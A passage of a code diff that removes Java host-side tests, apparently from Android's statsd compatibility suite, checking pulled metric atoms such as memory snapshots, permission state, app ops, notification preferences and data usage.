-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_LONG);
-            setAppBreadcrumbPredicate();
-        }
-
-        // Assert about ProcessMemorySnapshot for the test app, statsd and system server.
-        List<Atom> atoms = getGaugeMetricDataList();
-        int uid = getUid();
-        boolean foundTestApp = false;
-        boolean foundStatsd = false;
-        boolean foundSystemServer = false;
-        for (Atom atom : atoms) {
-          ProcessMemorySnapshot snapshot = atom.getProcessMemorySnapshot();
-          if (snapshot.getUid() == uid) {
-              foundTestApp = true;
-              assertThat(snapshot.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-          } else if (snapshot.getProcessName().contains("/statsd")) {
-              foundStatsd = true;
-          } else if (snapshot.getProcessName().equals("system")) {
-              foundSystemServer = true;
-          }
-
-          assertThat(snapshot.getPid()).isGreaterThan(0);
-          assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isAtLeast(0);
-          assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isEqualTo(
-                  snapshot.getAnonRssInKilobytes() + snapshot.getSwapInKilobytes());
-          assertThat(snapshot.getRssInKilobytes()).isAtLeast(0);
-          assertThat(snapshot.getAnonRssInKilobytes()).isAtLeast(0);
-          assertThat(snapshot.getSwapInKilobytes()).isAtLeast(0);
-        }
-        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d",uid))
-            .that(foundTestApp).isTrue();
-        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
-        assertWithMessage("Did not find a matching atom for system server")
-            .that(foundSystemServer).isTrue();
-    }
-
-    public void testIonHeapSize_optional() throws Exception {
-        if (isIonHeapSizeMandatory()) {
-            return;
-        }
-
-        List<Atom> atoms = pullIonHeapSizeAsGaugeMetric();
-        if (atoms.isEmpty()) {
-            // No support.
-            return;
-        }
-        assertIonHeapSize(atoms);
-    }
-
-    public void testIonHeapSize_mandatory() throws Exception {
-        if (!isIonHeapSizeMandatory()) {
-            return;
-        }
-
-        List<Atom> atoms = pullIonHeapSizeAsGaugeMetric();
-        assertIonHeapSize(atoms);
-    }
-
-    /** Returns whether IonHeapSize atom is supported. */
-    private boolean isIonHeapSizeMandatory() throws Exception {
-        // Support is guaranteed by libmeminfo VTS.
-        return PropertyUtil.getFirstApiLevel(getDevice()) >= 30;
-    }
-
-    /** Returns IonHeapSize atoms pulled as a simple gauge metric while test app is running. */
-    private List<Atom> pullIonHeapSizeAsGaugeMetric() throws Exception {
-        // Get IonHeapSize as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.ION_HEAP_SIZE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app and trigger a pull while it is running.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-        }
-
-        return getGaugeMetricDataList();
-    }
-
-    private static void assertIonHeapSize(List<Atom> atoms) {
-        assertThat(atoms).hasSize(1);
-        IonHeapSize ionHeapSize = atoms.get(0).getIonHeapSize();
-        assertThat(ionHeapSize.getTotalSizeKb()).isGreaterThan(0);
-    }
-
-    /**
-     * The the app id from a uid.
-     *
-     * @param uid The uid of the app
-     *
-     * @return The app id of the app
-     *
-     * @see android.os.UserHandle#getAppId
-     */
-    private static int getAppId(int uid) {
-        return uid % 100000;
-    }
-
-    public void testRoleHolder() throws Exception {
-        // Make device side test package a role holder
-        String callScreenAppRole = "android.app.role.CALL_SCREENING";
-        getDevice().executeShellCommand(
-                "cmd role add-role-holder " + callScreenAppRole + " " + DEVICE_SIDE_TEST_PACKAGE);
-
-        // Set up what to collect
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.ROLE_HOLDER_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        boolean verifiedKnowRoleState = false;
-
-        // Pull a report
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        int testAppId = getAppId(getUid());
-
-        for (Atom atom : getGaugeMetricDataList()) {
-            AtomsProto.RoleHolder roleHolder = atom.getRoleHolder();
-
-            assertThat(roleHolder.getPackageName()).isNotNull();
-            assertThat(roleHolder.getUid()).isAtLeast(0);
-            assertThat(roleHolder.getRole()).isNotNull();
-
-            if (roleHolder.getPackageName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                assertThat(getAppId(roleHolder.getUid())).isEqualTo(testAppId);
-                assertThat(roleHolder.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-                assertThat(roleHolder.getRole()).isEqualTo(callScreenAppRole);
-
-                verifiedKnowRoleState = true;
-            }
-        }
-
-        assertThat(verifiedKnowRoleState).isTrue();
-    }
-
-    public void testDangerousPermissionState() throws Exception {
-        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED =  1 << 8;
-        final int FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED =  1 << 9;
-
-        // Set up what to collect
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        boolean verifiedKnowPermissionState = false;
-
-        // Pull a report
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        int testAppId = getAppId(getUid());
-
-        for (Atom atom : getGaugeMetricDataList()) {
-            DangerousPermissionState permissionState = atom.getDangerousPermissionState();
-
-            assertThat(permissionState.getPermissionName()).isNotNull();
-            assertThat(permissionState.getUid()).isAtLeast(0);
-            assertThat(permissionState.getPackageName()).isNotNull();
-
-            if (getAppId(permissionState.getUid()) == testAppId) {
-
-                if (permissionState.getPermissionName().contains(
-                        "ACCESS_FINE_LOCATION")) {
-                    assertThat(permissionState.getIsGranted()).isTrue();
-                    assertThat(permissionState.getPermissionFlags() & ~(
-                            FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
-                            | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
-                        .isEqualTo(0);
-
-                    verifiedKnowPermissionState = true;
-                }
-            }
-        }
-
-        assertThat(verifiedKnowPermissionState).isTrue();
-    }
-
-    public void testDangerousPermissionStateSampled() throws Exception {
-        // get full atom for reference
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<DangerousPermissionState> fullDangerousPermissionState = new ArrayList<>();
-        for (Atom atom : getGaugeMetricDataList()) {
-            fullDangerousPermissionState.add(atom.getDangerousPermissionState());
-        }
-
-        removeConfig(CONFIG_ID);
-        getReportList(); // Clears data.
-        List<Atom> gaugeMetricDataList = null;
-
-        // retries in case sampling returns full list or empty list - which should be extremely rare
-        for (int attempt = 0; attempt < 10; attempt++) {
-            // Set up what to collect
-            config = createConfigBuilder();
-            addGaugeAtomWithDimensions(config, Atom.DANGEROUS_PERMISSION_STATE_SAMPLED_FIELD_NUMBER,
-                    null);
-            uploadConfig(config);
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            // Pull a report
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_SHORT);
-
-            gaugeMetricDataList = getGaugeMetricDataList();
-            if (gaugeMetricDataList.size() > 0
-                    && gaugeMetricDataList.size() < fullDangerousPermissionState.size()) {
-                break;
-            }
-            removeConfig(CONFIG_ID);
-            getReportList(); // Clears data.
-        }
-        assertThat(gaugeMetricDataList.size()).isGreaterThan(0);
-        assertThat(gaugeMetricDataList.size()).isLessThan(fullDangerousPermissionState.size());
-
-        long lastUid = -1;
-        int fullIndex = 0;
-
-        for (Atom atom : getGaugeMetricDataList()) {
-            DangerousPermissionStateSampled permissionState =
-                    atom.getDangerousPermissionStateSampled();
-
-            DangerousPermissionState referenceState = fullDangerousPermissionState.get(fullIndex);
-
-            if (referenceState.getUid() != permissionState.getUid()) {
-                // atoms are sampled on uid basis if uid is present, all related permissions must
-                // be logged.
-                assertThat(permissionState.getUid()).isNotEqualTo(lastUid);
-                continue;
-            }
-
-            lastUid = permissionState.getUid();
-
-            assertThat(permissionState.getPermissionFlags()).isEqualTo(
-                    referenceState.getPermissionFlags());
-            assertThat(permissionState.getIsGranted()).isEqualTo(referenceState.getIsGranted());
-            assertThat(permissionState.getPermissionName()).isEqualTo(
-                    referenceState.getPermissionName());
-
-            fullIndex++;
-        }
-    }
-
-    public void testAppOps() throws Exception {
-        // Set up what to collect
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.APP_OPS_FIELD_NUMBER, null);
-        uploadConfig(config);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testAppOps");
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Pull a report
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        ArrayList<Integer> expectedOps = new ArrayList<>();
-        for (int i = 0; i < NUM_APP_OPS; i++) {
-            expectedOps.add(i);
-        }
-
-        for (Descriptors.EnumValueDescriptor valueDescriptor :
-                AttributedAppOps.getDefaultInstance().getOp().getDescriptorForType().getValues()) {
-            if (valueDescriptor.getOptions().hasDeprecated()) {
-                // Deprecated app op, remove from list of expected ones.
-                expectedOps.remove(expectedOps.indexOf(valueDescriptor.getNumber()));
-            }
-        }
-        for (Atom atom : getGaugeMetricDataList()) {
-
-            AppOps appOps = atom.getAppOps();
-            if (appOps.getPackageName().equals(TEST_PACKAGE_NAME)) {
-                if (appOps.getOpId().getNumber() == -1) {
-                    continue;
-                }
-                long totalNoted = appOps.getTrustedForegroundGrantedCount()
-                        + appOps.getTrustedBackgroundGrantedCount()
-                        + appOps.getTrustedForegroundRejectedCount()
-                        + appOps.getTrustedBackgroundRejectedCount();
-                assertWithMessage("Operation in APP_OPS_ENUM_MAP: " + appOps.getOpId().getNumber())
-                        .that(totalNoted - 1).isEqualTo(appOps.getOpId().getNumber());
-                assertWithMessage("Unexpected Op reported").that(expectedOps).contains(
-                        appOps.getOpId().getNumber());
-                expectedOps.remove(expectedOps.indexOf(appOps.getOpId().getNumber()));
-            }
-        }
-        assertWithMessage("Logging app op ids are missing in report.").that(expectedOps).isEmpty();
-    }
-
-    public void testANROccurred() throws Exception {
-        final int atomTag = Atom.ANR_OCCURRED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        try (AutoCloseable a = withActivity("ANRActivity", null, null)) {
-            Thread.sleep(WAIT_TIME_SHORT);
-            getDevice().executeShellCommand(
-                    "am broadcast -a action_anr -p " + DEVICE_SIDE_TEST_PACKAGE);
-            Thread.sleep(20_000);
-        }
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertThat(data).hasSize(1);
-        assertThat(data.get(0).getAtom().hasAnrOccurred()).isTrue();
-        ANROccurred atom = data.get(0).getAtom().getAnrOccurred();
-        assertThat(atom.getIsInstantApp().getNumber())
-            .isEqualTo(ANROccurred.InstantApp.FALSE_VALUE);
-        assertThat(atom.getForegroundState().getNumber())
-            .isEqualTo(ANROccurred.ForegroundState.FOREGROUND_VALUE);
-        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
-        assertThat(atom.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-    }
-
-    public void testWriteRawTestAtom() throws Exception {
-        final int atomTag = Atom.TEST_ATOM_REPORTED_FIELD_NUMBER;
-        createAndUploadConfig(atomTag, true);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWriteRawTestAtom");
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(4);
-
-        TestAtomReported atom = data.get(0).getAtom().getTestAtomReported();
-        List<AttributionNode> attrChain = atom.getAttributionNodeList();
-        assertThat(attrChain).hasSize(2);
-        assertThat(attrChain.get(0).getUid()).isEqualTo(1234);
-        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
-        assertThat(attrChain.get(1).getUid()).isEqualTo(getUid());
-        assertThat(attrChain.get(1).getTag()).isEqualTo("tag2");
-
-        assertThat(atom.getIntField()).isEqualTo(42);
-        assertThat(atom.getLongField()).isEqualTo(Long.MAX_VALUE);
-        assertThat(atom.getFloatField()).isEqualTo(3.14f);
-        assertThat(atom.getStringField()).isEqualTo("This is a basic test!");
-        assertThat(atom.getBooleanField()).isFalse();
-        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.ON_VALUE);
-        assertThat(atom.getBytesField().getExperimentIdList())
-            .containsExactly(1L, 2L, 3L).inOrder();
-
-
-        atom = data.get(1).getAtom().getTestAtomReported();
-        attrChain = atom.getAttributionNodeList();
-        assertThat(attrChain).hasSize(2);
-        assertThat(attrChain.get(0).getUid()).isEqualTo(9999);
-        assertThat(attrChain.get(0).getTag()).isEqualTo("tag9999");
-        assertThat(attrChain.get(1).getUid()).isEqualTo(getUid());
-        assertThat(attrChain.get(1).getTag()).isEmpty();
-
-        assertThat(atom.getIntField()).isEqualTo(100);
-        assertThat(atom.getLongField()).isEqualTo(Long.MIN_VALUE);
-        assertThat(atom.getFloatField()).isEqualTo(-2.5f);
-        assertThat(atom.getStringField()).isEqualTo("Test null uid");
-        assertThat(atom.getBooleanField()).isTrue();
-        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.UNKNOWN_VALUE);
-        assertThat(atom.getBytesField().getExperimentIdList())
-            .containsExactly(1L, 2L, 3L).inOrder();
-
-        atom = data.get(2).getAtom().getTestAtomReported();
-        attrChain = atom.getAttributionNodeList();
-        assertThat(attrChain).hasSize(1);
-        assertThat(attrChain.get(0).getUid()).isEqualTo(getUid());
-        assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
-
-        assertThat(atom.getIntField()).isEqualTo(-256);
-        assertThat(atom.getLongField()).isEqualTo(-1234567890L);
-        assertThat(atom.getFloatField()).isEqualTo(42.01f);
-        assertThat(atom.getStringField()).isEqualTo("Test non chained");
-        assertThat(atom.getBooleanField()).isTrue();
-        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
-        assertThat(atom.getBytesField().getExperimentIdList())
-            .containsExactly(1L, 2L, 3L).inOrder();
-
-        atom = data.get(3).getAtom().getTestAtomReported();
-        attrChain = atom.getAttributionNodeList();
-        assertThat(attrChain).hasSize(1);
-        assertThat(attrChain.get(0).getUid()).isEqualTo(getUid());
-        assertThat(attrChain.get(0).getTag()).isEmpty();
-
-        assertThat(atom.getIntField()).isEqualTo(0);
-        assertThat(atom.getLongField()).isEqualTo(0L);
-        assertThat(atom.getFloatField()).isEqualTo(0f);
-        assertThat(atom.getStringField()).isEmpty();
-        assertThat(atom.getBooleanField()).isTrue();
-        assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
-        assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
-    }
-
-    public void testNotificationPackagePreferenceExtraction() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                    Atom.PACKAGE_NOTIFICATION_PREFERENCES_FIELD_NUMBER,
-                    null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<PackageNotificationPreferences> allPreferences = new ArrayList<>();
-        for (Atom atom : getGaugeMetricDataList()){
-            if(atom.hasPackageNotificationPreferences()) {
-                allPreferences.add(atom.getPackageNotificationPreferences());
-            }
-        }
-        assertThat(allPreferences.size()).isGreaterThan(0);
-
-        boolean foundTestPackagePreferences = false;
-        int uid = getUid();
-        for (PackageNotificationPreferences pref : allPreferences) {
-            assertThat(pref.getUid()).isGreaterThan(0);
-            assertTrue(pref.hasImportance());
-            assertTrue(pref.hasVisibility());
-            assertTrue(pref.hasUserLockedFields());
-            if(pref.getUid() == uid){
-                assertThat(pref.getImportance()).isEqualTo(-1000);  //UNSPECIFIED_IMPORTANCE
-                assertThat(pref.getVisibility()).isEqualTo(-1000);  //UNSPECIFIED_VISIBILITY
-                foundTestPackagePreferences = true;
-            }
-        }
-        assertTrue(foundTestPackagePreferences);
-    }
-
-    public void testNotificationChannelPreferencesExtraction() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                    Atom.PACKAGE_NOTIFICATION_CHANNEL_PREFERENCES_FIELD_NUMBER,
-                    null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<PackageNotificationChannelPreferences> allChannelPreferences = new ArrayList<>();
-        for(Atom atom : getGaugeMetricDataList()) {
-            if (atom.hasPackageNotificationChannelPreferences()) {
-               allChannelPreferences.add(atom.getPackageNotificationChannelPreferences());
-            }
-        }
-        assertThat(allChannelPreferences.size()).isGreaterThan(0);
-
-        boolean foundTestPackagePreferences = false;
-        int uid = getUid();
-        for (PackageNotificationChannelPreferences pref : allChannelPreferences) {
-            assertThat(pref.getUid()).isGreaterThan(0);
-            assertTrue(pref.hasChannelId());
-            assertTrue(pref.hasChannelName());
-            assertTrue(pref.hasDescription());
-            assertTrue(pref.hasImportance());
-            assertTrue(pref.hasUserLockedFields());
-            assertTrue(pref.hasIsDeleted());
-            if(uid == pref.getUid() && pref.getChannelId().equals("StatsdCtsChannel")) {
-                assertThat(pref.getChannelName()).isEqualTo("Statsd Cts");
-                assertThat(pref.getDescription()).isEqualTo("Statsd Cts Channel");
-                assertThat(pref.getImportance()).isEqualTo(3);  // IMPORTANCE_DEFAULT
-                foundTestPackagePreferences = true;
-            }
-        }
-        assertTrue(foundTestPackagePreferences);
-    }
-
-    public void testNotificationChannelGroupPreferencesExtraction() throws Exception {
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config,
-                    Atom.PACKAGE_NOTIFICATION_CHANNEL_GROUP_PREFERENCES_FIELD_NUMBER,
-                    null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runActivity("StatsdCtsForegroundActivity", "action", "action.create_channel_group");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        List<PackageNotificationChannelGroupPreferences> allGroupPreferences = new ArrayList<>();
-        for(Atom atom : getGaugeMetricDataList()) {
-            if (atom.hasPackageNotificationChannelGroupPreferences()) {
-                allGroupPreferences.add(atom.getPackageNotificationChannelGroupPreferences());
-            }
-        }
-        assertThat(allGroupPreferences.size()).isGreaterThan(0);
-
-        boolean foundTestPackagePreferences = false;
-        int uid = getUid();
-        for(PackageNotificationChannelGroupPreferences pref : allGroupPreferences) {
-            assertThat(pref.getUid()).isGreaterThan(0);
-            assertTrue(pref.hasGroupId());
-            assertTrue(pref.hasGroupName());
-            assertTrue(pref.hasDescription());
-            assertTrue(pref.hasIsBlocked());
-            assertTrue(pref.hasUserLockedFields());
-            if(uid == pref.getUid() && pref.getGroupId().equals("StatsdCtsGroup")) {
-                assertThat(pref.getGroupName()).isEqualTo("Statsd Cts Group");
-                assertThat(pref.getDescription()).isEqualTo("StatsdCtsGroup Description");
-                assertThat(pref.getIsBlocked()).isFalse();
-                foundTestPackagePreferences = true;
-            }
-        }
-        assertTrue(foundTestPackagePreferences);
-    }
-
-    public void testNotificationReported() throws Exception {
-        StatsdConfig.Builder config = getPulledConfig();
-        addAtomEvent(config, Atom.NOTIFICATION_REPORTED_FIELD_NUMBER,
-            Arrays.asList(createFvm(NotificationReported.PACKAGE_NAME_FIELD_NUMBER)
-                              .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-        runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification");
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Sorted list of events in order in which they occurred.
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(1);
-        assertThat(data.get(0).getAtom().hasNotificationReported()).isTrue();
-        AtomsProto.NotificationReported n = data.get(0).getAtom().getNotificationReported();
-        assertThat(n.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-        assertThat(n.getUid()).isEqualTo(getUid());
-        assertThat(n.getNotificationIdHash()).isEqualTo(1);  // smallHash(0x7f080001)
-        assertThat(n.getChannelIdHash()).isEqualTo(SmallHash.hash("StatsdCtsChannel"));
-        assertThat(n.getGroupIdHash()).isEqualTo(0);
-        assertFalse(n.getIsGroupSummary());
-        assertThat(n.getCategory()).isEmpty();
-        assertThat(n.getStyle()).isEqualTo(0);
-        assertThat(n.getNumPeople()).isEqualTo(0);
-    }
-
-    public void testSettingsStatsReported() throws Exception {
-        // Base64 encoded proto com.android.service.nano.StringListParamProto,
-        // which contains two strings "font_scale" and "screen_auto_brightness_adj".
-        final String encoded = "ChpzY3JlZW5fYXV0b19icmlnaHRuZXNzX2FkagoKZm9udF9zY2FsZQ";
-        final String font_scale = "font_scale";
-        SettingSnapshot snapshot = null;
-
-        // Set whitelist through device config.
-        Thread.sleep(WAIT_TIME_SHORT);
-        getDevice().executeShellCommand(
-                "device_config put settings_stats SystemFeature__float_whitelist " + encoded);
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Set font_scale value
-        getDevice().executeShellCommand("settings put system font_scale 1.5");
-
-        // Get SettingSnapshot as a simple gauge metric.
-        StatsdConfig.Builder config = createConfigBuilder();
-        addGaugeAtomWithDimensions(config, Atom.SETTING_SNAPSHOT_FIELD_NUMBER, null);
-        uploadConfig(config);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Start test app and trigger a pull while it is running.
-        try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
-                "action.show_notification")) {
-            Thread.sleep(WAIT_TIME_SHORT);
-            // Trigger a pull and wait for new pull before killing the process.
-            setAppBreadcrumbPredicate();
-            Thread.sleep(WAIT_TIME_LONG);
-        }
-
-        // Test the size of atoms. It should contain at least "font_scale" and
-        // "screen_auto_brightness_adj" two setting values.
-        List<Atom> atoms = getGaugeMetricDataList();
-        assertThat(atoms.size()).isAtLeast(2);
-        for (Atom atom : atoms) {
-            SettingSnapshot settingSnapshot = atom.getSettingSnapshot();
-            if (font_scale.equals(settingSnapshot.getName())) {
-                snapshot = settingSnapshot;
-                break;
-            }
-        }
-
-        Thread.sleep(WAIT_TIME_SHORT);
-        // Test the data of atom.
-        assertNotNull(snapshot);
-        // Get font_scale value and test value type.
-        final float fontScale = Float.parseFloat(
-                getDevice().executeShellCommand("settings get system font_scale"));
-        assertThat(snapshot.getType()).isEqualTo(
-                SettingSnapshot.SettingsValueType.ASSIGNED_FLOAT_TYPE);
-        assertThat(snapshot.getBoolValue()).isEqualTo(false);
-        assertThat(snapshot.getIntValue()).isEqualTo(0);
-        assertThat(snapshot.getFloatValue()).isEqualTo(fontScale);
-        assertThat(snapshot.getStrValue()).isEqualTo("");
-        assertThat(snapshot.getUserId()).isEqualTo(0);
-    }
-
-    public void testIntegrityCheckAtomReportedDuringInstall() throws Exception {
-        createAndUploadConfig(AtomsProto.Atom.INTEGRITY_CHECK_RESULT_REPORTED_FIELD_NUMBER);
-
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        installTestApp();
-
-        List<EventMetricData> data = getEventMetricDataList();
-
-        assertThat(data.size()).isEqualTo(1);
-        assertThat(data.get(0).getAtom().hasIntegrityCheckResultReported()).isTrue();
-        IntegrityCheckResultReported result = data.get(0)
-                .getAtom().getIntegrityCheckResultReported();
-        assertThat(result.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
-        // we do not assert on certificates since it seem to differ by device.
-        assertThat(result.getInstallerPackageName()).isEqualTo("adb");
-        assertThat(result.getVersionCode()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE_VERSION);
-        assertThat(result.getResponse()).isEqualTo(ALLOWED);
-        assertThat(result.getCausedByAppCertRule()).isFalse();
-        assertThat(result.getCausedByInstallerRule()).isFalse();
-    }
-
-    public void testMobileBytesTransfer() throws Throwable {
-        final int appUid = getUid();
-
-        // Verify MobileBytesTransfer, passing a ThrowingPredicate that verifies contents of
-        // corresponding atom type to prevent code duplication. The passed predicate returns
-        // true if the atom of appUid is found, false otherwise, and throws an exception if
-        // contents are not expected.
-        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.MobileBytesTransfer data = ((Atom) atom).getMobileBytesTransfer();
-            if (data.getUid() == appUid) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    public void testMobileBytesTransferByFgBg() throws Throwable {
-        final int appUid = getUid();
-
-        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.MobileBytesTransferByFgBg data =
-                    ((Atom) atom).getMobileBytesTransferByFgBg();
-            if (data.getUid() == appUid && data.getIsForeground()) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    public void testDataUsageBytesTransfer() throws Throwable {
-        final boolean subtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
-
-        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, (atom) -> {
-            final AtomsProto.DataUsageBytesTransfer data =
-                    ((Atom) atom).getDataUsageBytesTransfer();
-            if (data.getState() == 1 /*NetworkStats.SET_FOREGROUND*/) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                // TODO: verify the RAT type field with the value gotten from device.
-                if (subtypeCombined) {
-                    assertThat(data.getRatType()).isEqualTo(
-                            NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-                } else {
-                    assertThat(data.getRatType()).isGreaterThan(
-                            NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
-                }
-
-                // Assert that subscription info is valid.
-                assertThat(data.getSimMcc()).matches("^\\d{3}$");
-                assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
-                assertThat(data.getCarrierId()).isNotEqualTo(
-                        -1); // TelephonyManager#UNKNOWN_CARRIER_ID
-
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    // TODO(b/157651730): Determine how to test tag and metered state within atom.
-    public void testBytesTransferByTagAndMetered() throws Throwable {
-        final int appUid = getUid();
-        final int atomId = Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER;
-
-        doTestMobileBytesTransferThat(atomId, (atom) -> {
-            final AtomsProto.BytesTransferByTagAndMetered data =
-                    ((Atom) atom).getBytesTransferByTagAndMetered();
-            if (data.getUid() == appUid && data.getTag() == 0 /*app traffic generated on tag 0*/) {
-                assertDataUsageAtomDataExpected(data.getRxBytes(), data.getTxBytes(),
-                        data.getRxPackets(), data.getTxPackets());
-                return true; // found
-            }
-            return false;
-        });
-    }
-
-    public void testIsolatedToHostUidMapping() throws Exception {
-        createAndUploadConfig(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER, /*useAttribution=*/false);
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        // Create an isolated service from which An AppBreadcrumbReported atom is written.
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testIsolatedProcessService");
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(1);
-        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
-        assertThat(atom.getUid()).isEqualTo(getUid());
-        assertThat(atom.getLabel()).isEqualTo(0);
-        assertThat(atom.getState()).isEqualTo(AppBreadcrumbReported.State.START);
-    }
-
-    public void testPushedBlobStoreStats() throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, Atom.BLOB_COMMITTED_FIELD_NUMBER, false);
-        addAtomEvent(conf, Atom.BLOB_LEASED_FIELD_NUMBER, false);
-        addAtomEvent(conf, Atom.BLOB_OPENED_FIELD_NUMBER, false);
-        uploadConfig(conf);
-
-        Thread.sleep(WAIT_TIME_SHORT);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
-
-        List<EventMetricData> data = getEventMetricDataList();
-        assertThat(data).hasSize(3);
-
-        BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
-        final long blobId = blobCommitted.getBlobId();
